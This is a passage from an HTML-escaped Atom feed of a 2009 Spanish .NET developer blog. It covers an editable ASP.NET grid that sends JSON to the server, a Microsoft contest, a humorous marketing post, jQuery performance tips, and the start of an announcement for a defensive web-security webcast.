&lt;pre style="background-color:#fbfbfb;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt;  5:     &lt;span style="color:#0000ff;"&gt;public&lt;/span&gt; &lt;span style="color:#0000ff;"&gt;string&lt;/span&gt; valor { &lt;span style="color:#0000ff;"&gt;get&lt;/span&gt;; &lt;span style="color:#0000ff;"&gt;set&lt;/span&gt;; }
&lt;/pre&gt;
&lt;pre style="background-color:#ffffff;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt;  6: }&lt;/pre&gt;
&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;*. ActualizarDatos &amp;ldquo;Servidor&amp;rdquo;:&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;M&amp;eacute;todo del servidor que recupera la informaci&amp;oacute;n del cliente y convierte el objeto Json en una lista de tipos &amp;ldquo;&lt;strong&gt;ClienteData&lt;/strong&gt;&amp;rdquo;:&lt;/p&gt;
&lt;p&gt;&lt;a href="http://geeks.ms/cfs-file.ashx/__key/CommunityServer.Blogs.Components.WeblogFiles/mrubino/grideditCelDebug_5F00_511C5CB7.png"&gt;&lt;img height="109" width="538" src="http://geeks.ms/cfs-file.ashx/__key/CommunityServer.Blogs.Components.WeblogFiles/mrubino/grideditCelDebug_5F00_thumb_5F00_6BEB1374.png" alt="grideditCelDebug" border="0" title="grideditCelDebug" style="border-right-width:0px;display:inline;border-top-width:0px;border-bottom-width:0px;border-left-width:0px;" /&gt;&lt;/a&gt; &lt;/p&gt;
&lt;p&gt;&lt;strong&gt;*. ActualizarDatos &amp;ldquo;Cliente&amp;rdquo;:&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Funci&amp;oacute;n script que recupera todas las celdas que han sido modificadas y crea un objeto json que se env&amp;iacute;a al servidor.&lt;/p&gt;
&lt;pre style="border-bottom:#cecece 1px solid;border-left:#cecece 1px solid;padding-bottom:5px;background-color:#fbfbfb;min-height:40px;padding-left:5px;padding-right:5px;overflow:auto;border-top:#cecece 1px solid;border-right:#cecece 1px solid;padding-top:5px;"&gt;&lt;pre style="background-color:#fbfbfb;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt;  1: function ActualizarDatos()
&lt;/pre&gt;
&lt;pre style="background-color:#ffffff;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt;  2: {
&lt;/pre&gt;
&lt;pre style="background-color:#fbfbfb;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt;  3:     var datos = &amp;#39;&amp;#39;;
&lt;/pre&gt;
&lt;pre style="background-color:#ffffff;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt;  4:     var txtEditados = $(&amp;quot;&lt;span style="color:#8b0000;"&gt;.txtEdit&lt;/span&gt;&amp;quot;);
&lt;/pre&gt;
&lt;pre style="background-color:#fbfbfb;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt;  5:     &lt;span style="color:#0000ff;"&gt;for&lt;/span&gt; (var i = 0; i &amp;lt; txtEditados.length; i++) {      
&lt;/pre&gt;
&lt;pre style="background-color:#ffffff;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt;  6:         &lt;span style="color:#0000ff;"&gt;if&lt;/span&gt;(i &amp;gt; 0)
&lt;/pre&gt;
&lt;pre style="background-color:#fbfbfb;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt;  7:             datos += &amp;#39;,&amp;#39;;
&lt;/pre&gt;
&lt;pre style="background-color:#ffffff;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt;  8:           
&lt;/pre&gt;
&lt;pre style="background-color:#fbfbfb;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt;  9:         datos += &amp;#39;{&amp;quot;&lt;span style="color:#8b0000;"&gt;id&lt;/span&gt;&amp;quot;:&amp;quot;&lt;span style="color:#8b0000;"&gt;&amp;#39; 
&lt;/span&gt;&lt;/pre&gt;
&lt;pre style="background-color:#ffffff;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt; 10:          + txtEditados[i].parentElement.cells[0].innerText
&lt;/pre&gt;
&lt;pre style="background-color:#fbfbfb;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt; 11:          +&amp;#39;&amp;quot;&lt;span style="color:#8b0000;"&gt;,&lt;/span&gt;&amp;quot;columna&amp;quot;&lt;span style="color:#8b0000;"&gt;:&lt;/span&gt;&amp;quot;&amp;#39;
&lt;/pre&gt;
&lt;pre style="background-color:#ffffff;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt; 12:          + txtEditados[i].getAttribute(&amp;quot;&lt;span style="color:#8b0000;"&gt;columnName&lt;/span&gt;&amp;quot;)
&lt;/pre&gt;
&lt;pre style="background-color:#fbfbfb;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt; 13:          + &amp;#39;&amp;quot;&lt;span style="color:#8b0000;"&gt;,&lt;/span&gt;&amp;quot;valor&amp;quot;&lt;span style="color:#8b0000;"&gt;:&lt;/span&gt;&amp;quot;&amp;#39;+txtEditados[i].innerText
&lt;/pre&gt;
&lt;pre style="background-color:#ffffff;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt; 14:          + &amp;#39;&amp;quot;&lt;span style="color:#8b0000;"&gt;}&amp;#39;;
&lt;/span&gt;&lt;/pre&gt;
&lt;pre style="background-color:#fbfbfb;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt; 15:     }       
&lt;/pre&gt;
&lt;pre style="background-color:#ffffff;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt; 16:     var jDatos = JSON.parse(&amp;#39;[&amp;#39; + datos.replace(/;/g, &amp;quot;&lt;span style="color:#8b0000;"&gt;,&lt;/span&gt;&amp;quot;)+ &amp;#39;]&amp;#39;);   
&lt;/pre&gt;
&lt;pre style="background-color:#fbfbfb;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt; 17:     PageMethods.ActualizarDatos(jDatos, 
&lt;/pre&gt;
&lt;pre style="background-color:#ffffff;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt; 18:       ActualizarDatosOK, ActualizarDatosKO);
&lt;/pre&gt;
&lt;pre style="background-color:#fbfbfb;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt; 19: }&lt;/pre&gt;
&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;4:&lt;/strong&gt; recupera todas las celdas con el estilo de datos modificado.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;9:&lt;/strong&gt; crea un texto con formato JSon con el identificador del registo, el nombre del campo modificado y el nuevo valor.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;16:&lt;/strong&gt; transforma el texto en un objeto JSon &amp;ldquo;&lt;strong&gt;&lt;a target="_blank" href="http://geeks.ms/blogs/mrubino/archive/2009/07/08/json-con-asp-net-ii.aspx"&gt;JSON con ASP.NET II&lt;/a&gt;&lt;/strong&gt;&amp;rdquo;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;17:&lt;/strong&gt; llama al m&amp;eacute;todo de p&amp;aacute;gina del servidor.&lt;/p&gt;
&lt;p align="justify"&gt;Ya hemos finalizado esta pr&amp;aacute;ctica y de una forma muy sencilla hemos mejorado la experiencia de nuestros usuarios. No es tan complicado adaptar los controles ASP.NET para nuestras aplicaciones y a veces es mejor que utilizar complicados controles de terceros.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Aplicaci&amp;oacute;n&lt;/strong&gt;&lt;a href="http://lonetcamp.com/Community/cfs-file.ashx/__key/CommunityServer.Blogs.Components.WeblogFiles/marckys.Ejemplos/EditGrid.zip"&gt;&lt;strong&gt;&lt;img height="48" width="51" src="http://lonetcamp.com/Community/cfs-file.ashx/__key/CommunityServer.Blogs.Components.WeblogFiles/marckys/images_5F00_274FAC0E.jpg" alt="images" border="0" title="images" /&gt;&lt;/strong&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Cross-Posting: &lt;a href="http://lonetcamp.com" title="http://lonetcamp.com"&gt;http://lonetcamp.com&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;&lt;div style="clear:both;"&gt;&lt;/div&gt;&lt;img src="http://geeks.ms/aggbug.aspx?PostID=164402" width="1" height="1"&gt;</content><author><name>mrubino</name><uri>http://geeks.ms/members/mrubino/default.aspx</uri></author><category term="javascript" scheme="http://geeks.ms/blogs/mrubino/archive/tags/javascript/default.aspx" /><category term="controles web" scheme="http://geeks.ms/blogs/mrubino/archive/tags/controles+web/default.aspx" /><category term="JQuery" scheme="http://geeks.ms/blogs/mrubino/archive/tags/JQuery/default.aspx" /><category term="JSon" scheme="http://geeks.ms/blogs/mrubino/archive/tags/JSon/default.aspx" /></entry><entry><title>¿Eres de mente despierta? Microsoft Net Minds</title><link rel="alternate" type="text/html" href="/blogs/mrubino/archive/2009/12/06/191-eres-de-mente-despierta-net-minds.aspx" /><id>/blogs/mrubino/archive/2009/12/06/191-eres-de-mente-despierta-net-minds.aspx</id><published>2009-12-06T18:56:00Z</published><updated>2009-12-06T18:56:00Z</updated><content type="html">&lt;p&gt;&lt;b&gt;NET Minds&lt;/b&gt; es una serie de &lt;b&gt;tres&lt;/b&gt; &lt;b&gt;retos&lt;/b&gt; de inteligencia promovido por Microsoft, para medir tus habilidades con el reto de desarrolladores de la comunidad MSDN online. Estos tres retos se&amp;nbsp;publicaran&amp;nbsp;a lo largo de &lt;b&gt;5 meses&lt;/b&gt;. En cada uno de ellos, los 3 ganadores se llevan un &lt;b&gt;Visual Studio Ultimate 2010 con suscripci&amp;oacute;n.&lt;/b&gt;&lt;/p&gt;
&lt;p align="justify"&gt;Este primer reto va a ser el m&amp;aacute;s breve debido a la cercan&amp;iacute;a de Navidad, se abrir&amp;aacute; &lt;b&gt;el 14 hasta el 22 de Diciembre&lt;/b&gt;, fecha en la cual se anunciar&amp;aacute;n los ganadores. &lt;/p&gt;
&lt;p align="justify"&gt;Los otros dos ser&amp;aacute;n a partir de Navidades con nuevas pruebas. &lt;/p&gt;
&lt;h3&gt;&amp;iexcl;&amp;iexcl; NO son pruebas de desarrollo, sino de&amp;nbsp;inteligencia !!&lt;/h3&gt;
&lt;p align="justify"&gt;&lt;a target="_blank" href="http://msdn.microsoft.com/es-es/net_minds.aspx"&gt;&lt;img height="270" width="454" src="http://geeks.ms/cfs-file.ashx/__key/CommunityServer.Blogs.Components.WeblogFiles/mrubino/minds_5F00_5FC629E7.png" alt="minds" border="0" title="minds" style="border-bottom:0px;border-left:0px;display:block;float:none;margin-left:auto;border-top:0px;margin-right:auto;border-right:0px;" /&gt;&lt;/a&gt;&lt;/p&gt;&lt;div style="clear:both;"&gt;&lt;/div&gt;&lt;img src="http://geeks.ms/aggbug.aspx?PostID=162026" width="1" height="1"&gt;</content><author><name>mrubino</name><uri>http://geeks.ms/members/mrubino/default.aspx</uri></author><category term="Microsoft" scheme="http://geeks.ms/blogs/mrubino/archive/tags/Microsoft/default.aspx" /><category term="Concursos" scheme="http://geeks.ms/blogs/mrubino/archive/tags/Concursos/default.aspx" /></entry><entry><title>Microsoft presenta el remedio más efectivo contra la gripe A</title><link rel="alternate" type="text/html" href="/blogs/mrubino/archive/2009/12/02/microsoft-presenta-el-remedio-m-225-s-efectivo-contra-la-gripe-a.aspx" /><id>/blogs/mrubino/archive/2009/12/02/microsoft-presenta-el-remedio-m-225-s-efectivo-contra-la-gripe-a.aspx</id><published>2009-12-02T20:36:00Z</published><updated>2009-12-02T20:36:00Z</updated><content type="html">&lt;p align="justify"&gt;&lt;a target="_blank" href="http://www.microsoft.com/spain/imagenes/msc/Planes/Planes%20de%20contingencia%20ante%20epidemias%20con%20tecnologia%20Microsoft.html"&gt;&lt;img height="167" width="324" src="http://geeks.ms/cfs-file.ashx/__key/CommunityServer.Blogs.Components.WeblogFiles/mrubino/GripeA_5F00_4A0C8C4A.jpg" align="right" alt="GripeA" border="0" title="GripeA" style="border-right-width:0px;margin:5px 0px 0px 20px;display:inline;border-top-width:0px;border-bottom-width:0px;border-left-width:0px;" /&gt;&lt;/a&gt;Microsoft ha lanzado una campa&amp;ntilde;a de marketing utilizando la gripe A como excusa para reforzar sus soluciones para el Acceso Remoto, Teletrabajo y Planes de Contingencia.&lt;/p&gt;
&lt;p align="justify"&gt;Sin duda una idea muy original sacando partido a la actualidad m&amp;aacute;s candente y dando soluciones a la empresa sin complejos, pero no s&amp;eacute; si los trabajadores dar&amp;aacute;n soporte a iniciativas como esta.&amp;nbsp;&amp;nbsp; &lt;/p&gt;
&lt;p align="justify"&gt;10 puntos para la originalidad de la campa&amp;ntilde;a de Microsoft, me a parecido muy graciosa.&lt;/p&gt;
&lt;p align="justify"&gt;&lt;a href="http://www.microsoft.com/spain/imagenes/msc/Planes/Planes%20de%20contingencia%20ante%20epidemias%20con%20tecnologia%20Microsoft.html" title="http://www.microsoft.com/spain/imagenes/msc/Planes/Planes%20de%20contingencia%20ante%20epidemias%20con%20tecnologia%20Microsoft.html"&gt;http://www.microsoft.com/spain/imagenes/msc/Planes/Planes%20de%20contingencia%20ante%20epidemias%20con%20tecnologia%20Microsoft.html&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;CrossPosting &lt;a href="http://lonetcamp.com"&gt;http://lonetcamp.com&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;&lt;div style="clear:both;"&gt;&lt;/div&gt;&lt;img src="http://geeks.ms/aggbug.aspx?PostID=161756" width="1" height="1"&gt;</content><author><name>mrubino</name><uri>http://geeks.ms/members/mrubino/default.aspx</uri></author><category term="Humor" scheme="http://geeks.ms/blogs/mrubino/archive/tags/Humor/default.aspx" /><category term="Microsoft" scheme="http://geeks.ms/blogs/mrubino/archive/tags/Microsoft/default.aspx" /></entry><entry><title>Jquery - la potencia sin control no sirve de nada !!</title><link rel="alternate" type="text/html" href="/blogs/mrubino/archive/2009/11/25/jquery-la-potencia-sin-control-no-sirve-de-nada.aspx" /><id>/blogs/mrubino/archive/2009/11/25/jquery-la-potencia-sin-control-no-sirve-de-nada.aspx</id><published>2009-11-25T22:45:00Z</published><updated>2009-11-25T22:45:00Z</updated><content type="html">&lt;p align="justify"&gt;Yo soy de esos programadores web que est&amp;aacute;n disfrutando con las bondades que nos ofrece &lt;a target="_blank" href="http://jquery.com/"&gt;JQuery&lt;/a&gt; desde su aparici&amp;oacute;n. Esta librer&amp;iacute;a nos simplifica enormemente nuestros desarrollos con JavaScript y los hace mucho m&amp;aacute;s productivos. &lt;/p&gt;
&lt;p align="justify"&gt;Pero hasta ahora realmente no hab&amp;iacute;a aprovechado todo su potencial y es precisamente en&amp;nbsp; esta situaci&amp;oacute;n cuando me ha defraudado un poco.&lt;/p&gt;
&lt;p align="justify"&gt;Me explico:&lt;/p&gt;
&lt;p align="justify"&gt;He querido tratar todo un interfaz de usuario con JQuery para optimizar la presentaci&amp;oacute;n y evitar las idas y venidas de la p&amp;aacute;gina para consultar los datos. Para eso recupero la informaci&amp;oacute;n para rellenar un control, desde mi capa de datos utilizando un m&amp;eacute;todo de p&amp;aacute;gina y formato Json, de esta manera se evita enviar la informaci&amp;oacute;n innecesaria de la p&amp;aacute;gina.&lt;/p&gt;
&lt;p align="justify"&gt;Estos datos tienen una estructura mas o menos compleja o al menos m&amp;aacute;s compleja que una simple tabla, porque se tiene que representar en diferentes niveles.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;div align="justify"&gt;&lt;strong&gt;Fechas&lt;/strong&gt;[n]&lt;/div&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;div align="justify"&gt;&lt;strong&gt;Identificadores&lt;/strong&gt;[n]&lt;/div&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;div align="justify"&gt;&lt;strong&gt;Propiedades&lt;/strong&gt;[n]&lt;/div&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;div align="justify"&gt;&lt;strong&gt;Valor &lt;/strong&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p align="justify"&gt;&lt;a href="http://geeks.ms/cfs-file.ashx/__key/CommunityServer.Blogs.Components.WeblogFiles/mrubino/test11_5F00_1590ED72.png"&gt;&lt;img height="211" width="364" src="http://geeks.ms/cfs-file.ashx/__key/CommunityServer.Blogs.Components.WeblogFiles/mrubino/test11_5F00_thumb_5F00_67A62B6A.png" alt="test11" border="0" title="test11" style="border-right-width:0px;display:block;float:none;border-top-width:0px;border-bottom-width:0px;margin-left:auto;border-left-width:0px;margin-right:auto;" /&gt;&lt;/a&gt; &lt;/p&gt;
&lt;p align="justify"&gt;Para representar estos datos correctamente en la tabla he generado unos bucles que recorren los datos y los presenta dependiendo de algunas condiciones.&lt;/p&gt;
&lt;p align="justify"&gt;No voy a poner todo mi c&amp;oacute;digo pero tendr&amp;iacute;a m&amp;aacute;s o menos este aspecto:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;div align="justify"&gt;Varios bucles anidados para recorrer los registros y generar la tabla.&lt;/div&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;pre style="border-bottom:#cecece 1px solid;border-left:#cecece 1px solid;padding-bottom:5px;background-color:#fbfbfb;min-height:40px;padding-left:5px;padding-right:5px;overflow:auto;border-top:#cecece 1px solid;border-right:#cecece 1px solid;padding-top:5px;"&gt;&lt;pre style="background-color:#fbfbfb;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt;$($(&amp;quot;&lt;span style="color:#8b0000;"&gt;#&lt;/span&gt;&amp;quot; + tabla + &amp;quot;&lt;span style="color:#8b0000;"&gt; tr:first&lt;/span&gt;&amp;quot;)[0].cells).each(&lt;span style="color:#0000ff;"&gt;function&lt;/span&gt;() { 
&lt;/pre&gt;
&lt;pre style="background-color:#ffffff;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt;&lt;/pre&gt;
&lt;pre style="background-color:#fbfbfb;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt;        &lt;span style="color:#0000ff;"&gt;var&lt;/span&gt; diaCell = &lt;span style="color:#0000ff;"&gt;this&lt;/span&gt;;
&lt;/pre&gt;
&lt;pre style="background-color:#ffffff;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt;        diaCell.innerText = result[pos].Key.charAt(0);
&lt;/pre&gt;
&lt;pre style="background-color:#fbfbfb;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt;&lt;/pre&gt;
&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;div align="justify"&gt;Modificaci&amp;oacute;n del DOM para agregar y eliminar datos de la tabla.&lt;/div&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;pre style="border-bottom:#cecece 1px solid;border-left:#cecece 1px solid;padding-bottom:5px;background-color:#fbfbfb;min-height:40px;padding-left:5px;padding-right:5px;overflow:auto;border-top:#cecece 1px solid;border-right:#cecece 1px solid;padding-top:5px;"&gt;&lt;pre style="background-color:#fbfbfb;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt;&lt;span style="color:#0000ff;"&gt;var&lt;/span&gt; rowHabitaciones = $(&amp;quot;&lt;span style="color:#8b0000;"&gt;#&lt;/span&gt;&amp;quot; + tabla + &amp;quot;&lt;span style="color:#8b0000;"&gt; tr [hab]&lt;/span&gt;&amp;quot;);
&lt;/pre&gt;
&lt;pre style="background-color:#ffffff;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt;&lt;span style="color:#0000ff;"&gt;var&lt;/span&gt; reg = &amp;quot;&lt;span style="color:#8b0000;"&gt;&amp;lt;td&amp;gt;&lt;/span&gt;&amp;quot;+&lt;span style="color:#0000ff;"&gt;name&lt;/span&gt; +&amp;quot;&lt;span style="color:#8b0000;"&gt;&amp;lt;/td&amp;gt;&lt;/span&gt;&amp;quot;;
&lt;/pre&gt;
&lt;pre style="background-color:#fbfbfb;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt;$(RowHab).after(reg);&lt;/pre&gt;
&lt;/pre&gt;
&lt;p align="justify"&gt;Todo perfecto y encantado de lo simple que me ha quedado el c&amp;oacute;digo de cliente que tiene que tratar tanta informaci&amp;oacute;n. &lt;/p&gt;
&lt;p align="justify"&gt;&lt;span style="font-size:medium;"&gt;Peroooooo!!!&lt;/span&gt; si hay un pero. &lt;/p&gt;
&lt;p align="justify"&gt;Al ejecutar el c&amp;oacute;digo est&amp;aacute; tardando mucho m&amp;aacute;s de lo esperado. Llego a tardar tanto en pintar la tabla que hasta el propio explorador me avisaba de este problema.&lt;/p&gt;
&lt;p align="justify"&gt;&lt;a href="http://geeks.ms/cfs-file.ashx/__key/CommunityServer.Blogs.Components.WeblogFiles/mrubino/test_5F00_6664233C.png"&gt;&lt;img height="227" width="480" src="http://geeks.ms/cfs-file.ashx/__key/CommunityServer.Blogs.Components.WeblogFiles/mrubino/test_5F00_thumb_5F00_5035B9FD.png" alt="test" border="0" title="test" style="border-right-width:0px;display:inline;border-top-width:0px;border-bottom-width:0px;border-left-width:0px;" /&gt;&lt;/a&gt; &lt;/p&gt;
&lt;p align="justify"&gt;&lt;span style="font-size:medium;"&gt;&lt;strong&gt;la potencia sin control no sirve de nada !!&lt;/strong&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p align="justify"&gt;Tenemos que tener en cuenta que Jquery es una librer&amp;iacute;a que encapsula el lenguaje JavaScript para simplificar su uso, eso significa que para nosotros recorrer el DOM es ahora mucho m&amp;aacute;s f&amp;aacute;cil, pero internamente sigue ejecutando complicadas sentencias para que nuestro c&amp;oacute;digo funcione por ejemplo en diferentes navegadores sin problemas.&lt;/p&gt;
&lt;p align="justify"&gt;Por ese motivo tenemos que seguir unas cuantas reglas para que nuestro c&amp;oacute;digo sea lo m&amp;aacute;s optimo posible.&lt;/p&gt;
&lt;p align="justify"&gt;Antes de la optimizaci&amp;oacute;n de mi c&amp;oacute;digo he testeado la velocidad que tarda el script en representar los datos inicialmente.&lt;/p&gt;
&lt;p align="justify"&gt;Primera prueba sin optimizar: &lt;strong&gt;17,366 segundos !!!!!&lt;/strong&gt;&lt;/p&gt;
&lt;p align="justify"&gt;&lt;a href="http://geeks.ms/cfs-file.ashx/__key/CommunityServer.Blogs.Components.WeblogFiles/mrubino/test1_5F00_27BBF94B.png"&gt;&lt;img height="232" width="488" src="http://geeks.ms/cfs-file.ashx/__key/CommunityServer.Blogs.Components.WeblogFiles/mrubino/test1_5F00_thumb_5F00_1840998F.png" alt="test1" border="0" title="test1" style="border-right-width:0px;display:inline;border-top-width:0px;border-bottom-width:0px;border-left-width:0px;" /&gt;&lt;/a&gt; &lt;/p&gt;
&lt;p align="justify"&gt;Realmente es impensable tener un script que tarde 17 segundos en pintar una tabla en el cliente.&lt;/p&gt;
&lt;p align="justify"&gt;Ahora voy a seguir unas simples reglas para el uso adecuado de Jquery haber si realmente ganamos algo en eficacia.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;div align="justify"&gt;&lt;strong&gt;Iteraciones:&lt;/strong&gt; Es recomendable utilizar en lo posible las funciones nativas del navegador y evitar utilizar directamente los objetos del DOM en estas. Es m&amp;aacute;s preferible utilizar texto y a&amp;ntilde;adir este al final de la iteraci&amp;oacute;n.&lt;/div&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;div align="justify"&gt;&lt;strong&gt;A&amp;ntilde;adir elementos al DOM:&lt;/strong&gt; Siguiendo el anterior consejo, si tenemos que agregar una gran cantidad de objetos al DOM, es mejor a&amp;ntilde;adir todos los objetos de una vez que irlos a&amp;ntilde;adiendo progresivamente.&lt;/div&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;div align="justify"&gt;&lt;strong&gt;NO abusar de los selectores:&lt;/strong&gt; Es muy f&amp;aacute;cil abusar de los selectores por su gran potencia. Utilizar variables con los resultados de los selectores para su reutilizaci&amp;oacute;n.&lt;/div&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p align="justify"&gt;Muchos m&amp;aacute;s consejos en &lt;a href="http://www.tvidesign.co.uk/blog/improve-your-jquery-25-excellent-tips.aspx" title="improve-your-jquery-25-excellent-tips"&gt;improve-your-jquery-25-excellent-tips.aspx&lt;/a&gt;&lt;/p&gt;
&lt;p align="justify"&gt;Despu&amp;eacute;s de limpiar, reorganizar, no abusar de los objetos DOM y utilizar &lt;span style="color:#0000ff;"&gt;for&lt;/span&gt; en decremento de los c&amp;oacute;modos &lt;span style="color:#0000ff;"&gt;each&lt;/span&gt; este es el resultado.&lt;/p&gt;
&lt;p align="justify"&gt;Segunda prueba con el c&amp;oacute;digo optimizado: &lt;strong&gt;0,361 segundos !!!!!&lt;/strong&gt;&lt;/p&gt;
&lt;p align="justify"&gt;&lt;a href="http://geeks.ms/cfs-file.ashx/__key/CommunityServer.Blogs.Components.WeblogFiles/mrubino/test2_5F00_7AF06326.png"&gt;&lt;img height="227" width="494" src="http://geeks.ms/cfs-file.ashx/__key/CommunityServer.Blogs.Components.WeblogFiles/mrubino/test2_5F00_thumb_5F00_72943FE2.png" alt="test2" border="0" title="test2" style="border-right-width:0px;display:inline;border-top-width:0px;border-bottom-width:0px;border-left-width:0px;" /&gt;&lt;/a&gt; &lt;/p&gt;
&lt;p align="justify"&gt;Realmente si cuidamos un poco la forma de utilizar Jquery sumado con el cl&amp;aacute;sico JavaScript podemos tener un c&amp;oacute;digo mucho m&amp;aacute;s optimizado para utilizar con nuestro interfaces de usuario.&lt;/p&gt;
&lt;p align="justify"&gt;Yo al menos en esta pr&amp;aacute;ctica me he ahorrado 17 segundos ni m&amp;aacute;s ni menos y mi control est&amp;aacute; funcionando al 100%.&lt;/p&gt;
&lt;p&gt;CrossPosting &lt;a href="http://lonetcamp.com" title="http://lonetcamp.com"&gt;http://lonetcamp.com&lt;/a&gt;&lt;/p&gt;&lt;div style="clear:both;"&gt;&lt;/div&gt;&lt;img src="http://geeks.ms/aggbug.aspx?PostID=161297" width="1" height="1"&gt;</content><author><name>mrubino</name><uri>http://geeks.ms/members/mrubino/default.aspx</uri></author><category term="javascript" scheme="http://geeks.ms/blogs/mrubino/archive/tags/javascript/default.aspx" /><category term="JQuery" scheme="http://geeks.ms/blogs/mrubino/archive/tags/JQuery/default.aspx" /><category term="JSon" scheme="http://geeks.ms/blogs/mrubino/archive/tags/JSon/default.aspx" /></entry><entry><title>Evento Seguridad Web XSS y buenas prácticas</title><link rel="alternate" type="text/html" href="/blogs/mrubino/archive/2009/11/16/evento-seguridad-web-xss-y-buenas-pr-225-cticas.aspx" /><id>/blogs/mrubino/archive/2009/11/16/evento-seguridad-web-xss-y-buenas-pr-225-cticas.aspx</id><published>2009-11-16T21:29:23Z</published><updated>2009-11-16T21:29:23Z</updated><content type="html">&lt;p align="justify"&gt;Para los despistados o los que no se hayan enterado aún del evento, mañana Martes 17 de Noviembre de 2009, los chicos de &lt;a href="http://www.secondnug.com/" target="_blank"&gt;secondnug&lt;/a&gt; con sus ya famosos&amp;#160; webCasts, me han pedido que repita la charla que hice en el &lt;a href="http://www.codecamp.es" target="_blank"&gt;CodeCamp 09&lt;/a&gt; sobre como podemos evitar los típicos ataques web XSS, Inyección SQL, etc.&lt;/p&gt;  &lt;p align="justify"&gt;Si os interesa el tema no os podéis perder esta introducción 100% práctica de la seguridad web con buenas prácticas.&lt;/p&gt;  &lt;p align="justify"&gt;&lt;strong&gt;Apuntaros antes de que se cierren las inscripciones !!!&lt;/strong&gt;&lt;/p&gt;  &lt;p align="justify"&gt;&lt;a href="http://msevents.microsoft.com/CUI/WebCastEventDetails.aspx?EventID=1032432921&amp;amp;EventCategory=4&amp;amp;culture=es-AR&amp;amp;CountryCode=AR" target="_blank"&gt;&lt;img style="border-right-width:0px;display:block;float:none;border-top-width:0px;border-bottom-width:0px;margin-left:auto;border-left-width:0px;margin-right:auto;" title="2f39cfe4-77da-4b2a-a322-b9a6ee133e7a" border="0" alt="2f39cfe4-77da-4b2a-a322-b9a6ee133e7a" src="http://geeks.ms/cfs-file.ashx/__key/CommunityServer.Blogs.Components.WeblogFiles/mrubino/2f39cfe477da4b2aa322b9a6ee133e7a_5F00_167C9C83.jpg" width="439" height="327" 